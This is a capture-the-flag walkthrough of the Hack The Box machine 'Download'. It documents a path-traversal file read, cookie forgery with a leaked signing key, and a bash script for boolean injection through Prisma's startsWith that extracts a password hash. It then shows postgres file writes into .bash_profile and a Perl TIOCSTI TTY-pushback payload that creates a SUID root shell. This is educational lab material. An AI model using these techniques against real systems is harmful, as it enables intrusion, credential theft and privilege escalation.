Post

Download - Hard - Linux

Download - Hard - Linux

Nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.93 scan initiated Sat Aug  5 20:06:45 2023 as: nmap -sC -sV -p- -oA nmap/download-allports -v 10.129.137.22
Nmap scan report for 10.129.137.22
Host is up (0.032s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ccf16346e67a0ab8ac83be290fd63f09 (RSA)
|   256 2c99b4b1977a8b866d37c913619fbcff (ECDSA)
|_  256 e6ff779412407b06a2977ade14945bae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://download.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  5 20:07:14 2023 -- 1 IP address (1 host up) scanned in 29.24 seconds

Inspecting port 80 - http://download.htb

2e88b26554215ac47bcf8c983c16bfc2.png

Register Request

Registering a new user does not expose any API subdomains or accessible endpoints. It also does not expose any parameters of interest which could be vulnerable to mass assignments.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /auth/register HTTP/1.1
Host: download.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://download.htb/auth/register
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://download.htb
DNT: 1
Connection: close
Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6bnVsbH0=; download_session.sig=bg3O1UuXx_417qPt_TqNujJtSnA
Upgrade-Insecure-Requests: 1

username=testuser&password=password

Login Request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /auth/login HTTP/1.1
Host: download.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://download.htb/auth/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://download.htb
DNT: 1
Connection: close
Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6bnVsbH0=; download_session.sig=bg3O1UuXx_417qPt_TqNujJtSnA
Upgrade-Insecure-Requests: 1

username=testuser&password=password

Upload Request

The upload feature allows users to upload a file as either private or public. After testing the upload feature for some time it did not seem possible to upload malicious files in order to get code execution. There was a 1024 size limit on file uploads. I tested to see if an overflow was possible and found nothing of interest.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /files/upload HTTP/1.1
Host: download.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://download.htb/files/upload
Content-Type: multipart/form-data; boundary=---------------------------42510657241320962263698371584
Content-Length: 3375
Origin: http://download.htb
DNT: 1
Connection: close
Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoidGVzdHVzZXIifX0=; download_session.sig=l1Oth_6M7PEdHV8n0BbgpIFxn2c
Upgrade-Insecure-Requests: 1

-----------------------------42510657241320962263698371584

Content-Disposition: form-data; name="file"; filename="test.pdf"
Content-Type: application/pdf

SAMPLE DATA

-----------------------------42510657241320962263698371584
Content-Disposition: form-data; name="private"
true
-----------------------------42510657241320962263698371584--

Download Request

Uploaded files are given a 32 character unique identifier which practically prevents enumerating other users files with fuzzing techniques. After testing for file disclosures on this request I could not find anything of interest (more on this later).

1
2
3
4
5
6
7
8
9
10
11
GET /files/view/ea1704ba-a857-4e4f-a5bb-8643b2ed3e45 HTTP/1.1
Host: download.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://download.htb/files/upload
DNT: 1
Connection: close
Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91ciBmaWxlIHdhcyBzdWNjZXNzZnVsbHkgdXBsb2FkZWQuIl19LCJ1c2VyIjp7ImlkIjoxNiwidXNlcm5hbWUiOiJ0ZXN0dXNlciJ9fQ==; download_session.sig=Ui5osmGbUp7WgzZdNZVVnpEu7J4
Upgrade-Insecure-Requests: 1

Inspecting Cookies

The download_session cookie contains JSON data which has been base64 encoded. It contains the value of the user in addition to the user id. There is also a download_session.sig cookie which appears to be using a secret key to sign the values of the cookie preventing a straight forward forgery.

Base64 encoded

1
download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91ciBmaWxlIHdhcyBzdWNjZXNzZnVsbHkgdXBsb2FkZWQuIl19LCJ1c2VyIjp7ImlkIjoxNiwidXNlcm5hbWUiOiJ0ZXN0dXNlciJ9fQ==

Base64 decoded

1
{"flashes":{"info":[],"error":[],"success":["Your file was successfully uploaded."]},"user":{"id":16,"username":"testuser"}}

LFI - Download Request

When downloading a private file it uses /files/download/GUID which is different than the previous download path. It was possible to pass a file name that has been URL encoded and the application would expose the contents of the named file. However it was limited to the subdirectories in which the application was running from. It was not possible to move up into the parent directories such as /etc/passwd for example.

This file disclosure vulnerability made it possible to download the source code for the NodeJS application and recover the secret key used to sign cookies. It also revealed exactly what the application imported such as nunjucks and prisma client .

URL decoded

1
GET /files/download/../app.js HTTP/1.1

URL encoded (all characters)

1
GET /files/download/%2e%2e%2f%61%70%70%2e%6a%73 HTTP/1.1

Returned request

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 12 Aug 2023 14:53:20 GMT
Content-Type: application/javascript; charset=UTF-8
Content-Length: 2168
Connection: close
X-Powered-By: Express
Content-Disposition: attachment; filename="Unknown"
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 21 Apr 2023 17:11:40 GMT
ETag: W/"878-187a4ccd572"

"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
    autoescape: true,
    express: app,
    noCache: true,
});
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["8929874489719802418902487651347865819634518936754"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
    res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
    res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
    console.log("Listening on ", port);
    if (process.env.NODE_ENV === "production") {
        setTimeout(async () => {
            await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
        }, 300000);
    }
});

Forging Cookies

cookie-monster is a utility for automating the testing and re-signing of Express.js cookie secrets.

Github: https://github.com/DigitalInterruption/cookie-monster

It should be possible to forge a cookie which will reveal other users files on the application. For example this is what the JSON data looks like to reveal all files.

{"flashes":{"info":[],"error":[],"success":[]},"user":{}}

Now the JSON data will need to be encoded with the expected secret so the signature matches. For example:

cookie-monster -e -n download_session -f cookie -k 8929874489719802418902487651347865819634518936754

Output of the above command:

1
2
[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6e319
[+] Signature Cookie: download_session.sig=RdmrvnrBpzrS3slS77uG7Cuiv-Q

Outcome of viewing all user files

After adding the generated cookies into Firefox’s session storage it exposed all user files as shown below. It also revealed the username of any user who had uploaded files. There was a limitation which prevented private files of other users being downloaded. Only public files were accessible.

The names of the private files were no different to the public files which strongly suggested all the files were not very interesting.

0bbc5a528170bec14cfbcabc8623dbdc.png

Boolean Injection - Prisma Client

Prisma client is a query builder which can interact with a database. Using the file disclosure vulnerability it was not possible to find any .env or prisma.schema files.

Reviewing the source code revealed a possible path to injection. Within home.js the user session was being passed to a findMany query.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    const files = await client.file.findMany({
        where: { author: req.session.user },
        select: {
            id: true,
            uploadedAt: true,
            size: true,
            name: true,
            private: true,
            authorId: true,
            author: {
                select: {
                    username: true,
                },
            },
        },
    });

After searching the Prisma API documentation I found this referenced.

1
2
3
4
5
6
7
8
9
10
11
startsWith
Examples
Get all Post records where title starts with Pr (such as Prisma)

const result = await prisma.post.findMany({
  where: {
    title: {
      startsWith: 'Pr',
    },
  },
})

This means it should be possible to use startsWith to validate the contents of the database field one character at a time. To do so a valid cookie will need to be generated with each request and the valid characters need to be tracked as it progresses. It will also be necessary to figure out how to determine if the output of the request relates to a true or false result.

After experimenting with the application I learned that if a true value is returned it will load the users files. If a false value is returned it will redirect to the login page.

JSON data for Boolean check

{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":1,"password":{"startsWith":"???"}}}

Bash script used to automate checks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/bash

HASH=""

while true
do
  for i in {0..9} {a..z} {A..Z}
  do 
    echo "{\"flashes\":{\"info\":[],\"error\":[],\"success\":[]},\"user\":{\"id\":1,\"password\":{\"startsWith\":\"$HASH$i\"}}}" > new.json
    COOKIE=$(cookie-monster -e -n download_session -f new.json -k "8929874489719802418902487651347865819634518936754" | grep + | cut -d " " -f 4 | sed -z 's/\n/; /g' | sed 's/; $//g' | ansi2txt | tr '\n' ' ')
    #echo $COOKIE
    CODE=$(curl -s -x http://localhost:8080 http://download.htb/home -H "Cookie: $COOKIE" | wc -c)
      if [[ $CODE > 2160 ]];
      then
        HASH=$HASH$i
        echo $HASH
      fi
    done
done

Logging in as Wesley

After checking the contents of the package.json file using the file disclosure it revealed the author of the project is called Wesley.

The script recovered the following hash f88976c10af66915918945b9679b2bd3.

1
2
3
4
5
6
7
8
9
10
11
12
13
{
  "name": "download.htb",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  },
  "keywords": [],
  "author": "wesley",
  "license": "ISC",
  "dependencies": {
    "@prisma/client": "^4.13.0",
  },
}

It was possible to login to SSH as Wesley using the password after cracking the hash.

1
2
3
4
5
6
7
8
┌─[parrot@parrot]─[~/hackthebox/download]
└──╼ $ssh wesley@download.htb
Warning: Permanently added the ECDSA host key for IP address '10.129.135.10' to the list of known hosts.
wesley@download.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64

Last login: Thu Aug  3 08:29:52 2023 from 10.10.14.23
wesley@download:~$ 

Recovering postgres credentials

systemd had a service file which Wesley could read. This service file contained the credentials for the postgres database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
wesley@download:~$ cd /etc/systemd/system/
wesley@download:/etc/systemd/system$ cat download-site.service 
[Unit]
Description=Download.HTB Web Application
After=network.target

[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app/
ExecStart=/usr/bin/node app.js
Restart=on-failure
Environment=NODE_ENV=production
Environment=DATABASE_URL="postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"

[Install]
WantedBy=multi-user.target
wesley@download:/etc/systemd/system$ 

Logging into postgres

The postgres download user is a member of {pg_write_server_files} which grants the ability to write files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
wesley@download:~$ psql -h localhost -U download -W
Password: 
psql (12.15 (Ubuntu 12.15-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

download=> \du
                                          List of roles
 Role name |                         Attributes                         |        Member of        
-----------+------------------------------------------------------------+-------------------------
 download  |                                                            | {pg_write_server_files}
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}

download=> 

Testing ownership of written files

The below command is writing a file to the temp directory, firstly to test if writing files works and secondly to test which user owns the written file.

1
2
3
download=> copy (select 'testing ownership of write') to '/tmp/test';
COPY 1
download=>

The file was written correctly and is owned by the postgres user.

1
2
wesley@download:/tmp$ ls -la /tmp/test
-rw-r--r-- 1 postgres postgres 27 Aug 12 16:51 /tmp/test

Escalating to root

The path to root was extremely difficult to find. I spent a lot of time experimenting with the postgres snakeoil key files and managed to get reverse shell. Problem was the shell returned as the postgres user. Having a reverse shell as postgres may have had some value but I did not find a clear purpose for it.

pspy64 results

Running pspy revealed a process running every 60 seconds. At first it seemed to have no value because neither the postgres or Wesley user had write access to the files.

1
2
3
4
2023/08/12 16:59:31 CMD: UID=0     PID=14720  | /bin/bash -i ./manage-db 
2023/08/12 16:59:31 CMD: UID=0     PID=14721  | systemctl status postgresql 
2023/08/12 16:59:31 CMD: UID=0     PID=14722  | systemctl status download-site 
2023/08/12 16:59:31 CMD: UID=0     PID=14723  | su -l postgres 

It turned out the su -l postgres command which is executed every 60 seconds by root was vulnerable to an exploit which dates back to the year 2005. From my understanding TTY pushback is when a higher privileged user uses the su command to switch to a lower privileged user and if a script is executed afterwards its possible to background the terminal session of the lower privileged user, bringing the higher privileged users terminal session into the foreground. Then it sends input into the higher privileged terminal to execute commands.

(The level of privilege a user has should not impact the results of the exploit.)

Since 2016 ioctl has been changed to protect against this attack. Further protective measures were added in the 6.2 Linux kernel.

1
dev.tty.ldisc_autoload=0

This restricts loading TTY line disciplines to the CAP_SYS_MODULE capability to prevent unprivileged attackers from loading vulnerable line disciplines with the TIOCSETD ioctl, which has been abused in a number of exploits before.

Checking if TTY pushback is possible

It appears the protective measures which stop the attack are disabled as shown below.

1
2
wesley@download:/tmp$ sysctl -a 2>/dev/null | grep -i dev.tty.ldisc_autoload
dev.tty.ldisc_autoload = 1

Finding a payload

Source: https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking

There various payloads on GitHub and blog posts. I had no luck with the payloads written in C and Python. The below Perl payload produced the best results when testing.

1
2
3
4
5
6
#!/usr/bin/perl
require "sys/ioctl.ph";
open my $tty_fh, '<', '/dev/tty' or die $!;
foreach my $c (split //, "exit\n".'echo Payload as $(cp /bin/bash /tmp/bash && chmod u+s /tmp/bash)'.$/) {
    ioctl($tty_fh, &TIOCSTI, $c);
}

Deploying the payload

For this payload to work it needs to be executed automatically after root logins in as the postgres user. To accomplish this task I will take advantage of the write permissions the postgres download user has to modify the postgres .bash_profile. When the root user logins in as postgres the system will automatically execute commands within the bash profile and deploy the payload.

Additional note: In a previous stage I modified .bash_profile to gain a shell as the postgres user and could not find a use for it at that time.

The below command modifies the .bash_profile with perl /home/wesley/exploit.pl. This will execute the exploit.pl file when the postgres user logs in. The exploit.pl file contains the TTY pushback payload and has been granted executable permissions for good measure.

1
2
3
download=> copy (select 'perl /home/wesley/exploit.pl') to '/var/lib/postgresql/.bash_profile';
COPY 1
download=> 

Now to wait for the root user to issue the command. After it executes su -l postgres it should read the .bash_profile settings and execute the Perl payload saved within Wesley’s home directory. Then it should background the lower privileged postgres terminal session and begin inputting the payload into the roots terminal.

The payload will copy bash to the temp directory and grant it SUID permissions meaning other users can inherit those permissions when they execute it.

1
2
3
4
5
6
wesley@download:/tmp$ ./bash -p
bash-5.0# id
uid=1000(wesley) gid=1000(wesley) euid=0(root) groups=1000(wesley)
bash-5.0# ls -la /tmp/bash
-rwsr-xr-x 1 root root 1183448 Aug 12 17:33 /tmp/bash
bash-5.0# 

The bash file appeared in the temp directory and it was possible to obtain root access by passing the -p flag in addition to making sure bash is executed from the current working directory.

Root flag captured

1
2
3
bash-5.0# cat /root/root.txt
44fb29e1de55499435039058520d9cf3
bash-5.0# 
This post is licensed under CC BY 4.0 by the author.